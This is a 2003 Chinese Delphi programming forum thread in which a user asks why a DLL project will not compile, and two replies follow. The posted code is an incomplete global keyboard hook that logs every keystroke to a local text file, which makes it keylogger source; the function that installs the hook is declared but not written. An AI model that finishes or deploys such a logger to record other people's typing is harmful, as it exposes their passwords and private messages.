请问这里哪儿错了,我的怎么总是提示有错误.

fedex2 2003-06-24 07:13:07
请问这里哪儿错了,我的怎么总是提示有错误.

library Project1;
[.................................]
uses
SysUtils,
Classes,
Unit1 in 'Unit1.pas';

{$R *.res}
exports
setkeyhook,endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.



unit Unit1;

interface

uses
Windows, Messages, SysUtils, Controls, StdCtrls;
const
afilename='c:\debug.txt';

var
nexthookproc:hhook;
procsaveexit:pointer;
debugfile:textfile;

function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//
function endkeyhook:bool;export;//
procedure keyhookexit;far;

implementation



function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

begin
if icode< 0 then
begin
result:=callnexthookex(nexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)< 0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;


function endkeyhook:bool;export;
begin
if nexthookproc<> 0 then
begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0);
end;
result:=nexthookproc=0;
end;


procedure keyhookexit;far;
begin
if nexthookproc<> 0 then
endkeyhook;
exitproc:=procsaveexit;
end;

end.
...全文
17 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
fedex2 2003-06-25
  • 打赏
  • 举报
回复
function setkeyhook:bool;export;//

哪位可以改一下?
Xleep 2003-06-25
  • 打赏
  • 举报
回复
你在function setkeyhook:bool;export;//去掉export。
ahjoe 2003-06-24
  • 打赏
  • 举报
回复
哪一行出错?

1,183

社区成员

发帖
与我相关
我的任务
社区描述
Delphi Windows SDK/API
社区管理员
  • Windows SDK/API社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧